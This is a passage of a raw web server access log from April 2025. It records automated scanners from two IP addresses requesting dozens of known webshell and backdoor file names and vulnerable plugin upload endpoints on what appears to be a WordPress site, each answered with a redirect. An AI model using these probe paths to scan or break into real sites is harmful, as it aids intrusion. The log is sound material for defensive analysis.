/wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:09 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:10 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:11 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:12 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:13 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:14 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:15 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:16 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:17 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) 